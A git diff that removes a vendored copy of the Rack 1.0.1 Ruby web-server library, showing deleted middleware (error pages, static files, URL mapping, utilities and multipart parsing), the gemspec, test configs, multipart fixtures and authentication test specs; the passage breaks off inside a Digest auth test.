    - <% unless req.GET.empty? %> - - - - - - - - - <% req.GET.sort_by { |k, v| k.to_s }.each { |key, val| %> - - - - - <% } %> - -
    VariableValue
    <%=h key %>
    <%=h val.inspect %>
    - <% else %> -

    No GET data.

    - <% end %> - -

    POST

    - <% unless req.POST.empty? %> - - - - - - - - - <% req.POST.sort_by { |k, v| k.to_s }.each { |key, val| %> - - - - - <% } %> - -
    VariableValue
    <%=h key %>
    <%=h val.inspect %>
    - <% else %> -

    No POST data.

    - <% end %> - - - - <% unless req.cookies.empty? %> - - - - - - - - - <% req.cookies.each { |key, val| %> - - - - - <% } %> - -
    VariableValue
    <%=h key %>
    <%=h val.inspect %>
    - <% else %> -

    No cookie data.

    - <% end %> - -

    Rack ENV

    - - - - - - - - - <% env.sort_by { |k, v| k.to_s }.each { |key, val| %> - - - - - <% } %> - -
    VariableValue
    <%=h key %>
    <%=h val %>
    - -
    - -
    -

    - You're seeing this error because you use Rack::ShowExceptions. -

    -
    - - - -HTML - - # :startdoc: - end -end diff --git a/vendor/gems/rack-1.0.1/lib/rack/showstatus.rb b/vendor/gems/rack-1.0.1/lib/rack/showstatus.rb deleted file mode 100644 index 28258c7c..00000000 --- a/vendor/gems/rack-1.0.1/lib/rack/showstatus.rb +++ /dev/null @@ -1,106 +0,0 @@ -require 'erb' -require 'rack/request' -require 'rack/utils' - -module Rack - # Rack::ShowStatus catches all empty responses the app it wraps and - # replaces them with a site explaining the error. - # - # Additional details can be put into rack.showstatus.detail - # and will be shown as HTML. If such details exist, the error page - # is always rendered, even if the reply was not empty. - - class ShowStatus - def initialize(app) - @app = app - @template = ERB.new(TEMPLATE) - end - - def call(env) - status, headers, body = @app.call(env) - headers = Utils::HeaderHash.new(headers) - empty = headers['Content-Length'].to_i <= 0 - - # client or server error, or explicit message - if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"] - req = Rack::Request.new(env) - message = Rack::Utils::HTTP_STATUS_CODES[status.to_i] || status.to_s - detail = env["rack.showstatus.detail"] || message - body = @template.result(binding) - size = Rack::Utils.bytesize(body) - [status, headers.merge("Content-Type" => "text/html", "Content-Length" => size.to_s), [body]] - else - [status, headers, body] - end - end - - def h(obj) # :nodoc: - case obj - when String - Utils.escape_html(obj) - else - Utils.escape_html(obj.inspect) - end - end - - # :stopdoc: - -# adapted from Django -# Copyright (c) 2005, the Lawrence Journal-World -# Used under the modified BSD license: -# http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5 -TEMPLATE = <<'HTML' - - - - - <%=h message %> at <%=h req.script_name + req.path_info %> - - - - -
    -

    <%=h message %> (<%= status.to_i %>)

    - - - - - - - - - -
    Request Method:<%=h req.request_method %>
    Request URL:<%=h req.url %>
    -
    -
    -

    <%= detail %>

    -
    - -
    -

    - You're seeing this error because you use Rack::ShowStatus. -

    -
    - - -HTML - - # :startdoc: - end -end diff --git a/vendor/gems/rack-1.0.1/lib/rack/static.rb b/vendor/gems/rack-1.0.1/lib/rack/static.rb deleted file mode 100644 index 168e8f83..00000000 --- a/vendor/gems/rack-1.0.1/lib/rack/static.rb +++ /dev/null @@ -1,38 +0,0 @@ -module Rack - - # The Rack::Static middleware intercepts requests for static files - # (javascript files, images, stylesheets, etc) based on the url prefixes - # passed in the options, and serves them using a Rack::File object. This - # allows a Rack stack to serve both static and dynamic content. - # - # Examples: - # use Rack::Static, :urls => ["/media"] - # will serve all requests beginning with /media from the "media" folder - # located in the current directory (ie media/*). - # - # use Rack::Static, :urls => ["/css", "/images"], :root => "public" - # will serve all requests beginning with /css or /images from the folder - # "public" in the current directory (ie public/css/* and public/images/*) - - class Static - - def initialize(app, options={}) - @app = app - @urls = options[:urls] || ["/favicon.ico"] - root = options[:root] || Dir.pwd - @file_server = Rack::File.new(root) - end - - def call(env) - path = env["PATH_INFO"] - can_serve = @urls.any? { |url| path.index(url) == 0 } - - if can_serve - @file_server.call(env) - else - @app.call(env) - end - end - - end -end diff --git a/vendor/gems/rack-1.0.1/lib/rack/urlmap.rb b/vendor/gems/rack-1.0.1/lib/rack/urlmap.rb deleted file mode 100644 index fcf6616c..00000000 --- a/vendor/gems/rack-1.0.1/lib/rack/urlmap.rb +++ /dev/null @@ -1,55 +0,0 @@ -module Rack - # Rack::URLMap takes a hash mapping urls or paths to apps, and - # dispatches accordingly. Support for HTTP/1.1 host names exists if - # the URLs start with http:// or https://. - # - # URLMap modifies the SCRIPT_NAME and PATH_INFO such that the part - # relevant for dispatch is in the SCRIPT_NAME, and the rest in the - # PATH_INFO. This should be taken care of when you need to - # reconstruct the URL in order to create links. - # - # URLMap dispatches in such a way that the longest paths are tried - # first, since they are most specific. - - class URLMap - def initialize(map = {}) - remap(map) - end - - def remap(map) - @mapping = map.map { |location, app| - if location =~ %r{\Ahttps?://(.*?)(/.*)} - host, location = $1, $2 - else - host = nil - end - - unless location[0] == ?/ - raise ArgumentError, "paths need to start with /" - end - location = location.chomp('/') - - [host, location, app] - }.sort_by { |(h, l, a)| [h ? -h.size : (-1.0 / 0.0), -l.size] } # Longest path first - end - - def call(env) - path = env["PATH_INFO"].to_s.squeeze("/") - script_name = env['SCRIPT_NAME'] - hHost, sName, sPort = env.values_at('HTTP_HOST','SERVER_NAME','SERVER_PORT') - @mapping.each { |host, location, app| - next unless (hHost == host || sName == host \ - || (host.nil? && (hHost == sName || hHost == sName+':'+sPort))) - next unless location == path[0, location.size] - next unless path[location.size] == nil || path[location.size] == ?/ - - return app.call( - env.merge( - 'SCRIPT_NAME' => (script_name + location), - 'PATH_INFO' => path[location.size..-1])) - } - [404, {"Content-Type" => "text/plain"}, ["Not Found: #{path}"]] - end - end -end - diff --git a/vendor/gems/rack-1.0.1/lib/rack/utils.rb b/vendor/gems/rack-1.0.1/lib/rack/utils.rb deleted file mode 100644 index d54c928c..00000000 --- a/vendor/gems/rack-1.0.1/lib/rack/utils.rb +++ /dev/null @@ -1,401 +0,0 @@ -# -*- encoding: binary -*- - -require 'set' -require 'tempfile' - -module Rack - # Rack::Utils contains a grab-bag of useful methods for writing web - # applications adopted from all kinds of Ruby libraries. - - module Utils - # Performs URI escaping so that you can construct proper - # query strings faster. Use this rather than the cgi.rb - # version since it's faster. (Stolen from Camping). - def escape(s) - s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) { - '%'+$1.unpack('H2'*bytesize($1)).join('%').upcase - }.tr(' ', '+') - end - module_function :escape - - # Unescapes a URI escaped string. (Stolen from Camping). - def unescape(s) - s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){ - [$1.delete('%')].pack('H*') - } - end - module_function :unescape - - DEFAULT_SEP = /[&;] */n - - # Stolen from Mongrel, with some small modifications: - # Parses a query string by breaking it up at the '&' - # and ';' characters. You can also use this to parse - # cookies by changing the characters used in the second - # parameter (which defaults to '&;'). - def parse_query(qs, d = nil) - params = {} - - (qs || '').split(d ? /[#{d}] */n : DEFAULT_SEP).each do |p| - k, v = p.split('=', 2).map { |x| unescape(x) } - - if cur = params[k] - if cur.class == Array - params[k] << v - else - params[k] = [cur, v] - end - else - params[k] = v - end - end - - return params - end - module_function :parse_query - - def parse_nested_query(qs, d = nil) - params = {} - - (qs || '').split(d ? /[#{d}] */n : DEFAULT_SEP).each do |p| - k, v = unescape(p).split('=', 2) - normalize_params(params, k, v) - end - - return params - end - module_function :parse_nested_query - - def normalize_params(params, name, v = nil) - name =~ %r(\A[\[\]]*([^\[\]]+)\]*) - k = $1 || '' - after = $' || '' - - return if k.empty? - - if after == "" - params[k] = v - elsif after == "[]" - params[k] ||= [] - raise TypeError, "expected Array (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Array) - params[k] << v - elsif after =~ %r(^\[\]\[([^\[\]]+)\]$) || after =~ %r(^\[\](.+)$) - child_key = $1 - params[k] ||= [] - raise TypeError, "expected Array (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Array) - if params[k].last.is_a?(Hash) && !params[k].last.key?(child_key) - normalize_params(params[k].last, child_key, v) - else - params[k] << normalize_params({}, child_key, v) - end - else - params[k] ||= {} - raise TypeError, "expected Hash (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Hash) - params[k] = normalize_params(params[k], after, v) - end - - return params - end - module_function :normalize_params - - def build_query(params) - params.map { |k, v| - if v.class == Array - build_query(v.map { |x| [k, x] }) - else - "#{escape(k)}=#{escape(v)}" - end - }.join("&") - end - module_function :build_query - - # Escape ampersands, brackets and quotes to their HTML/XML entities. - def escape_html(string) - string.to_s.gsub("&", "&"). - gsub("<", "<"). - gsub(">", ">"). - gsub("'", "'"). - gsub('"', """) - end - module_function :escape_html - - def select_best_encoding(available_encodings, accept_encoding) - # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html - - expanded_accept_encoding = - accept_encoding.map { |m, q| - if m == "*" - (available_encodings - accept_encoding.map { |m2, _| m2 }).map { |m2| [m2, q] } - else - [[m, q]] - end - }.inject([]) { |mem, list| - mem + list - } - - encoding_candidates = expanded_accept_encoding.sort_by { |_, q| -q }.map { |m, _| m } - - unless encoding_candidates.include?("identity") - encoding_candidates.push("identity") - end - - expanded_accept_encoding.find_all { |m, q| - q == 0.0 - }.each { |m, _| - encoding_candidates.delete(m) - } - - return (encoding_candidates & available_encodings)[0] - end - module_function :select_best_encoding - - # Return the bytesize of String; uses String#length under Ruby 1.8 and - # String#bytesize under 1.9. - if ''.respond_to?(:bytesize) - def bytesize(string) - string.bytesize - end - else - def bytesize(string) - string.size - end - end - module_function :bytesize - - # Context allows the use of a compatible middleware at different points - # in a request handling stack. A compatible middleware must define - # #context which should take the arguments env and app. The first of which - # would be the request environment. The second of which would be the rack - # application that the request would be forwarded to. - class Context - attr_reader :for, :app - - def initialize(app_f, app_r) - raise 'running context does not respond to #context' unless app_f.respond_to? :context - @for, @app = app_f, app_r - end - - def call(env) - @for.context(env, @app) - end - - def recontext(app) - self.class.new(@for, app) - end - - def context(env, app=@app) - recontext(app).call(env) - end - end - - # A case-insensitive Hash that preserves the original case of a - # header when set. - class HeaderHash < Hash - def initialize(hash={}) - @names = {} - hash.each { |k, v| self[k] = v } - end - - def to_hash - inject({}) do |hash, (k,v)| - if v.respond_to? :to_ary - hash[k] = v.to_ary.join("\n") - else - hash[k] = v - end - hash - end - end - - def [](k) - super @names[k.downcase] - end - - def []=(k, v) - delete k - @names[k.downcase] = k - super k, v - end - - def delete(k) - super @names.delete(k.downcase) - end - - def include?(k) - @names.has_key? k.downcase - end - - alias_method :has_key?, :include? - alias_method :member?, :include? - alias_method :key?, :include? - - def merge!(other) - other.each { |k, v| self[k] = v } - self - end - - def merge(other) - hash = dup - hash.merge! other - end - end - - # Every standard HTTP code mapped to the appropriate message. - # Stolen from Mongrel. - HTTP_STATUS_CODES = { - 100 => 'Continue', - 101 => 'Switching Protocols', - 200 => 'OK', - 201 => 'Created', - 202 => 'Accepted', - 203 => 'Non-Authoritative Information', - 204 => 'No Content', - 205 => 'Reset Content', - 206 => 'Partial Content', - 300 => 'Multiple Choices', - 301 => 'Moved Permanently', - 302 => 'Found', - 303 => 'See Other', - 304 => 'Not Modified', - 305 => 'Use Proxy', - 307 => 'Temporary Redirect', - 400 => 'Bad Request', - 401 => 'Unauthorized', - 402 => 'Payment Required', - 403 => 'Forbidden', - 404 => 'Not Found', - 405 => 'Method Not Allowed', - 406 => 'Not Acceptable', - 407 => 'Proxy Authentication Required', - 408 => 'Request Timeout', - 409 => 'Conflict', - 410 => 'Gone', - 411 => 'Length Required', - 412 => 'Precondition Failed', - 413 => 'Request Entity Too Large', - 414 => 'Request-URI Too Large', - 415 => 'Unsupported Media Type', - 416 => 'Requested Range Not Satisfiable', - 417 => 'Expectation Failed', - 500 => 'Internal Server Error', - 501 => 'Not Implemented', - 502 => 'Bad Gateway', - 503 => 'Service Unavailable', - 504 => 'Gateway Timeout', - 505 => 'HTTP Version Not Supported' - } - - # Responses with HTTP status codes that should not have an entity body - STATUS_WITH_NO_ENTITY_BODY = Set.new((100..199).to_a << 204 << 304) - - # A multipart form data parser, adapted from IOWA. - # - # Usually, Rack::Request#POST takes care of calling this. - - module Multipart - EOL = "\r\n" - - def self.parse_multipart(env) - unless env['CONTENT_TYPE'] =~ - %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|n - nil - else - boundary = "--#{$1}" - - params = {} - buf = "" - content_length = env['CONTENT_LENGTH'].to_i - input = env['rack.input'] - input.rewind - - boundary_size = Utils.bytesize(boundary) + EOL.size - bufsize = 16384 - - content_length -= boundary_size - - read_buffer = '' - - status = input.read(boundary_size, read_buffer) - raise EOFError, "bad content body" unless status == boundary + EOL - - rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/n - - loop { - head = nil - body = '' - filename = content_type = name = nil - - until head && buf =~ rx - if !head && i = buf.index(EOL+EOL) - head = buf.slice!(0, i+2) # First \r\n - buf.slice!(0, 2) # Second \r\n - - filename = head[/Content-Disposition:.* filename=(?:"((?:\\.|[^\"])*)"|([^;\s]*))/ni, 1] - content_type = head[/Content-Type: (.*)#{EOL}/ni, 1] - name = head[/Content-Disposition:.*\s+name="?([^\";]*)"?/ni, 1] || head[/Content-ID:\s*([^#{EOL}]*)/ni, 1] - - if content_type || filename - body = Tempfile.new("RackMultipart") - body.binmode if body.respond_to?(:binmode) - end - - next - end - - # Save the read body part. - if head && (boundary_size+4 < buf.size) - body << buf.slice!(0, buf.size - (boundary_size+4)) - end - - c = input.read(bufsize < content_length ? bufsize : content_length, read_buffer) - raise EOFError, "bad content body" if c.nil? || c.empty? - buf << c - content_length -= c.size - end - - # Save the rest. - if i = buf.index(rx) - body << buf.slice!(0, i) - buf.slice!(0, boundary_size+2) - - content_length = -1 if $1 == "--" - end - - if filename == "" - # filename is blank which means no file has been selected - data = nil - elsif filename - body.rewind - - # Take the basename of the upload's original filename. - # This handles the full Windows paths given by Internet Explorer - # (and perhaps other broken user agents) without affecting - # those which give the lone filename. - filename =~ /^(?:.*[:\\\/])?(.*)/m - filename = $1 - - data = {:filename => filename, :type => content_type, - :name => name, :tempfile => body, :head => head} - elsif !filename && content_type - body.rewind - - # Generic multipart cases, not coming from a form - data = {:type => content_type, - :name => name, :tempfile => body, :head => head} - else - data = body - end - - Utils.normalize_params(params, name, data) unless data.nil? - - break if buf.empty? || content_length == -1 - } - - input.rewind - - params - end - end - end - end -end diff --git a/vendor/gems/rack-1.0.1/rack.gemspec b/vendor/gems/rack-1.0.1/rack.gemspec deleted file mode 100644 index 2640997b..00000000 --- a/vendor/gems/rack-1.0.1/rack.gemspec +++ /dev/null @@ -1,54 +0,0 @@ -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = %q{rack} - s.version = "1.0.1" - - s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= - s.authors = ["Christian Neukirchen"] - s.date = %q{2009-10-18} - s.default_executable = %q{rackup} - s.description = %q{Rack provides minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. Also see http://rack.rubyforge.org.} - s.email = %q{chneukirchen@gmail.com} - s.executables = ["rackup"] - s.extra_rdoc_files = ["README", "SPEC", "RDOX", "KNOWN-ISSUES"] - s.files = ["COPYING", "KNOWN-ISSUES", "README", "Rakefile", "bin/rackup", "contrib/rack_logo.svg", "example/lobster.ru", "example/protectedlobster.rb", "example/protectedlobster.ru", "lib/rack.rb", "lib/rack/adapter/camping.rb", "lib/rack/auth/abstract/handler.rb", "lib/rack/auth/abstract/request.rb", "lib/rack/auth/basic.rb", "lib/rack/auth/digest/md5.rb", "lib/rack/auth/digest/nonce.rb", "lib/rack/auth/digest/params.rb", "lib/rack/auth/digest/request.rb", "lib/rack/auth/openid.rb", "lib/rack/builder.rb", "lib/rack/cascade.rb", "lib/rack/chunked.rb", "lib/rack/commonlogger.rb", "lib/rack/conditionalget.rb", "lib/rack/content_length.rb", "lib/rack/content_type.rb", "lib/rack/deflater.rb", "lib/rack/directory.rb", "lib/rack/file.rb", "lib/rack/handler.rb", "lib/rack/handler/cgi.rb", "lib/rack/handler/evented_mongrel.rb", "lib/rack/handler/fastcgi.rb", "lib/rack/handler/lsws.rb", "lib/rack/handler/mongrel.rb", "lib/rack/handler/scgi.rb", "lib/rack/handler/swiftiplied_mongrel.rb", "lib/rack/handler/thin.rb", "lib/rack/handler/webrick.rb", "lib/rack/head.rb", "lib/rack/lint.rb", "lib/rack/lobster.rb", "lib/rack/lock.rb", "lib/rack/methodoverride.rb", "lib/rack/mime.rb", "lib/rack/mock.rb", "lib/rack/recursive.rb", "lib/rack/reloader.rb", "lib/rack/request.rb", "lib/rack/response.rb", "lib/rack/rewindable_input.rb", "lib/rack/session/abstract/id.rb", "lib/rack/session/cookie.rb", "lib/rack/session/memcache.rb", "lib/rack/session/pool.rb", "lib/rack/showexceptions.rb", "lib/rack/showstatus.rb", "lib/rack/static.rb", "lib/rack/urlmap.rb", "lib/rack/utils.rb", "test/cgi/lighttpd.conf", "test/cgi/test", "test/cgi/test.fcgi", "test/cgi/test.ru", "test/multipart/binary", "test/multipart/empty", "test/multipart/ie", "test/multipart/nested", "test/multipart/none", "test/multipart/semicolon", "test/multipart/text", "test/spec_rack_auth_basic.rb", "test/spec_rack_auth_digest.rb", "test/spec_rack_auth_openid.rb", "test/spec_rack_builder.rb", "test/spec_rack_camping.rb", "test/spec_rack_cascade.rb", "test/spec_rack_cgi.rb", "test/spec_rack_chunked.rb", "test/spec_rack_commonlogger.rb", "test/spec_rack_conditionalget.rb", "test/spec_rack_content_length.rb", "test/spec_rack_content_type.rb", "test/spec_rack_deflater.rb", "test/spec_rack_directory.rb", "test/spec_rack_fastcgi.rb", "test/spec_rack_file.rb", "test/spec_rack_handler.rb", "test/spec_rack_head.rb", "test/spec_rack_lint.rb", "test/spec_rack_lobster.rb", "test/spec_rack_lock.rb", "test/spec_rack_methodoverride.rb", "test/spec_rack_mock.rb", "test/spec_rack_mongrel.rb", "test/spec_rack_recursive.rb", "test/spec_rack_request.rb", "test/spec_rack_response.rb", "test/spec_rack_rewindable_input.rb", "test/spec_rack_session_cookie.rb", "test/spec_rack_session_memcache.rb", "test/spec_rack_session_pool.rb", "test/spec_rack_showexceptions.rb", "test/spec_rack_showstatus.rb", "test/spec_rack_static.rb", "test/spec_rack_thin.rb", "test/spec_rack_urlmap.rb", "test/spec_rack_utils.rb", "test/spec_rack_webrick.rb", "test/testrequest.rb", "test/unregistered_handler/rack/handler/unregistered.rb", "test/unregistered_handler/rack/handler/unregistered_long_one.rb", "SPEC", "RDOX", "rack.gemspec"] - s.has_rdoc = true - s.homepage = %q{http://rack.rubyforge.org} - s.require_paths = ["lib"] - s.rubyforge_project = %q{rack} - s.rubygems_version = %q{1.3.1} - s.summary = %q{a modular Ruby webserver interface} - s.test_files = ["test/spec_rack_auth_basic.rb", "test/spec_rack_auth_digest.rb", "test/spec_rack_auth_openid.rb", "test/spec_rack_builder.rb", "test/spec_rack_camping.rb", "test/spec_rack_cascade.rb", "test/spec_rack_cgi.rb", "test/spec_rack_chunked.rb", "test/spec_rack_commonlogger.rb", "test/spec_rack_conditionalget.rb", "test/spec_rack_content_length.rb", "test/spec_rack_content_type.rb", "test/spec_rack_deflater.rb", "test/spec_rack_directory.rb", "test/spec_rack_fastcgi.rb", "test/spec_rack_file.rb", "test/spec_rack_handler.rb", "test/spec_rack_head.rb", "test/spec_rack_lint.rb", "test/spec_rack_lobster.rb", "test/spec_rack_lock.rb", "test/spec_rack_methodoverride.rb", "test/spec_rack_mock.rb", "test/spec_rack_mongrel.rb", "test/spec_rack_recursive.rb", "test/spec_rack_request.rb", "test/spec_rack_response.rb", "test/spec_rack_rewindable_input.rb", "test/spec_rack_session_cookie.rb", "test/spec_rack_session_memcache.rb", "test/spec_rack_session_pool.rb", "test/spec_rack_showexceptions.rb", "test/spec_rack_showstatus.rb", "test/spec_rack_static.rb", "test/spec_rack_thin.rb", "test/spec_rack_urlmap.rb", "test/spec_rack_utils.rb", "test/spec_rack_webrick.rb"] - - if s.respond_to? :specification_version then - current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION - s.specification_version = 2 - - if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then - s.add_development_dependency(%q, [">= 0"]) - s.add_development_dependency(%q, [">= 0"]) - s.add_development_dependency(%q, [">= 0"]) - s.add_development_dependency(%q, [">= 0"]) - s.add_development_dependency(%q, [">= 0"]) - s.add_development_dependency(%q, ["~> 2.0.0"]) - s.add_development_dependency(%q, [">= 0"]) - else - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, ["~> 2.0.0"]) - s.add_dependency(%q, [">= 0"]) - end - else - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, ["~> 2.0.0"]) - s.add_dependency(%q, [">= 0"]) - end -end diff --git a/vendor/gems/rack-1.0.1/test/cgi/lighttpd.conf b/vendor/gems/rack-1.0.1/test/cgi/lighttpd.conf deleted file mode 100644 index 889726c6..00000000 --- a/vendor/gems/rack-1.0.1/test/cgi/lighttpd.conf +++ /dev/null @@ -1,20 +0,0 @@ -server.modules = ("mod_fastcgi", "mod_cgi") -server.document-root = "." -server.errorlog = "lighttpd.errors" -server.port = 9203 - -server.event-handler = "select" - -cgi.assign = ("/test" => "", -# ".ru" => "" - ) - -fastcgi.server = ("test.fcgi" => ("localhost" => - ("min-procs" => 1, - "socket" => "/tmp/rack-test-fcgi", - "bin-path" => "test.fcgi")), - "test.ru" => ("localhost" => - ("min-procs" => 1, - "socket" => "/tmp/rack-test-ru-fcgi", - "bin-path" => "test.ru")), - ) diff --git a/vendor/gems/rack-1.0.1/test/cgi/test b/vendor/gems/rack-1.0.1/test/cgi/test deleted file mode 100755 index e4837a4e..00000000 --- a/vendor/gems/rack-1.0.1/test/cgi/test +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env ruby -# -*- ruby -*- - -$: << File.join(File.dirname(__FILE__), "..", "..", "lib") - -require 'rack' -require '../testrequest' - -Rack::Handler::CGI.run(Rack::Lint.new(TestRequest.new)) diff --git a/vendor/gems/rack-1.0.1/test/cgi/test.fcgi b/vendor/gems/rack-1.0.1/test/cgi/test.fcgi deleted file mode 100755 index 5e104fc9..00000000 --- a/vendor/gems/rack-1.0.1/test/cgi/test.fcgi +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env ruby -# -*- ruby -*- - -$:.unshift '../../lib' -require 'rack' -require '../testrequest' - -Rack::Handler::FastCGI.run(Rack::Lint.new(TestRequest.new)) diff --git a/vendor/gems/rack-1.0.1/test/cgi/test.ru b/vendor/gems/rack-1.0.1/test/cgi/test.ru deleted file mode 100755 index 4054b886..00000000 --- a/vendor/gems/rack-1.0.1/test/cgi/test.ru +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ../../bin/rackup -#\ -E deployment -I ../../lib -# -*- ruby -*- - -require '../testrequest' - -run TestRequest.new diff --git a/vendor/gems/rack-1.0.1/test/multipart/binary b/vendor/gems/rack-1.0.1/test/multipart/binary deleted file mode 100644 index a3bd67c4..00000000 Binary files a/vendor/gems/rack-1.0.1/test/multipart/binary and /dev/null differ diff --git a/vendor/gems/rack-1.0.1/test/multipart/empty b/vendor/gems/rack-1.0.1/test/multipart/empty deleted file mode 100644 index f0f79835..00000000 --- a/vendor/gems/rack-1.0.1/test/multipart/empty +++ /dev/null @@ -1,10 +0,0 @@ ---AaB03x -Content-Disposition: form-data; name="submit-name" - -Larry ---AaB03x -Content-Disposition: form-data; name="files"; filename="file1.txt" -Content-Type: text/plain - - ---AaB03x-- diff --git a/vendor/gems/rack-1.0.1/test/multipart/ie b/vendor/gems/rack-1.0.1/test/multipart/ie deleted file mode 100644 index eae06ab5..00000000 --- a/vendor/gems/rack-1.0.1/test/multipart/ie +++ /dev/null @@ -1,6 +0,0 @@ ---AaB03x -Content-Disposition: form-data; name="files"; filename="C:\Documents and Settings\Administrator\Desktop\file1.txt" -Content-Type: text/plain - -contents ---AaB03x-- diff --git a/vendor/gems/rack-1.0.1/test/multipart/nested b/vendor/gems/rack-1.0.1/test/multipart/nested deleted file mode 100644 index 51978824..00000000 --- a/vendor/gems/rack-1.0.1/test/multipart/nested +++ /dev/null @@ -1,10 +0,0 @@ ---AaB03x -Content-Disposition: form-data; name="foo[submit-name]" - -Larry ---AaB03x -Content-Disposition: form-data; name="foo[files]"; filename="file1.txt" -Content-Type: text/plain - -contents ---AaB03x-- diff --git a/vendor/gems/rack-1.0.1/test/multipart/none b/vendor/gems/rack-1.0.1/test/multipart/none deleted file mode 100644 index d66f4730..00000000 --- a/vendor/gems/rack-1.0.1/test/multipart/none +++ /dev/null @@ -1,9 +0,0 @@ ---AaB03x -Content-Disposition: form-data; name="submit-name" - -Larry ---AaB03x -Content-Disposition: form-data; name="files"; filename="" - - ---AaB03x-- diff --git a/vendor/gems/rack-1.0.1/test/multipart/semicolon b/vendor/gems/rack-1.0.1/test/multipart/semicolon deleted file mode 100644 index 00fd68ab..00000000 --- a/vendor/gems/rack-1.0.1/test/multipart/semicolon +++ /dev/null @@ -1,6 +0,0 @@ ---AaB03x -Content-Disposition: form-data; name="files"; filename="fi;le1.txt" -Content-Type: text/plain - -contents ---AaB03x-- \ No newline at end of file diff --git a/vendor/gems/rack-1.0.1/test/multipart/text b/vendor/gems/rack-1.0.1/test/multipart/text deleted file mode 100644 index b83d3821..00000000 --- a/vendor/gems/rack-1.0.1/test/multipart/text +++ /dev/null @@ -1,10 +0,0 @@ ---AaB03x -Content-Disposition: form-data; name="submit-name" - -Larry ---AaB03x -Content-Disposition: form-data; name="files"; filename="file1.txt" -Content-Type: text/plain - -contents ---AaB03x-- \ No newline at end of file diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_auth_basic.rb b/vendor/gems/rack-1.0.1/test/spec_rack_auth_basic.rb deleted file mode 100644 index 0176efc8..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_auth_basic.rb +++ /dev/null @@ -1,73 +0,0 @@ -require 'test/spec' - -require 'rack/auth/basic' -require 'rack/mock' - -context 'Rack::Auth::Basic' do - - def realm - 'WallysWorld' - end - - def unprotected_app - lambda { |env| [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ] } - end - - def protected_app - app = Rack::Auth::Basic.new(unprotected_app) { |username, password| 'Boss' == username } - app.realm = realm - app - end - - setup do - @request = Rack::MockRequest.new(protected_app) - end - - def request_with_basic_auth(username, password, &block) - request 'HTTP_AUTHORIZATION' => 'Basic ' + ["#{username}:#{password}"].pack("m*"), &block - end - - def request(headers = {}) - yield @request.get('/', headers) - end - - def assert_basic_auth_challenge(response) - response.should.be.a.client_error - response.status.should.equal 401 - response.should.include 'WWW-Authenticate' - response.headers['WWW-Authenticate'].should =~ /Basic realm="#{Regexp.escape(realm)}"/ - response.body.should.be.empty - end - - specify 'should challenge correctly when no credentials are specified' do - request do |response| - assert_basic_auth_challenge response - end - end - - specify 'should rechallenge if incorrect credentials are specified' do - request_with_basic_auth 'joe', 'password' do |response| - assert_basic_auth_challenge response - end - end - - specify 'should return application output if correct credentials are specified' do - request_with_basic_auth 'Boss', 'password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Boss' - end - end - - specify 'should return 400 Bad Request if different auth scheme used' do - request 'HTTP_AUTHORIZATION' => 'Digest params' do |response| - response.should.be.a.client_error - response.status.should.equal 400 - response.should.not.include 'WWW-Authenticate' - end - end - - specify 'realm as optional constructor arg' do - app = Rack::Auth::Basic.new(unprotected_app, realm) { true } - assert_equal realm, app.realm - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_auth_digest.rb b/vendor/gems/rack-1.0.1/test/spec_rack_auth_digest.rb deleted file mode 100644 index a980acc8..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_auth_digest.rb +++ /dev/null @@ -1,226 +0,0 @@ -require 'test/spec' - -require 'rack/auth/digest/md5' -require 'rack/mock' - -context 'Rack::Auth::Digest::MD5' do - - def realm - 'WallysWorld' - end - - def unprotected_app - lambda do |env| - [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ] - end - end - - def protected_app - app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username| - { 'Alice' => 'correct-password' }[username] - end - app.realm = realm - app.opaque = 'this-should-be-secret' - app - end - - def protected_app_with_hashed_passwords - app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username| - username == 'Alice' ? Digest::MD5.hexdigest("Alice:#{realm}:correct-password") : nil - end - app.realm = realm - app.opaque = 'this-should-be-secret' - app.passwords_hashed = true - app - end - - def partially_protected_app - Rack::URLMap.new({ - '/' => unprotected_app, - '/protected' => protected_app - }) - end - - def protected_app_with_method_override - Rack::MethodOverride.new(protected_app) - end - - setup do - @request = Rack::MockRequest.new(protected_app) - end - - def request(method, path, headers = {}, &block) - response = @request.request(method, path, headers) - block.call(response) if block - return response - end - - class MockDigestRequest - def initialize(params) - @params = params - end - def method_missing(sym) - if @params.has_key? k = sym.to_s - return @params[k] - end - super - end - def method - @params['method'] - end - def response(password) - Rack::Auth::Digest::MD5.new(nil).send :digest, self, password - end - end - - def request_with_digest_auth(method, path, username, password, options = {}, &block) - request_options = {} - request_options[:input] = options.delete(:input) if 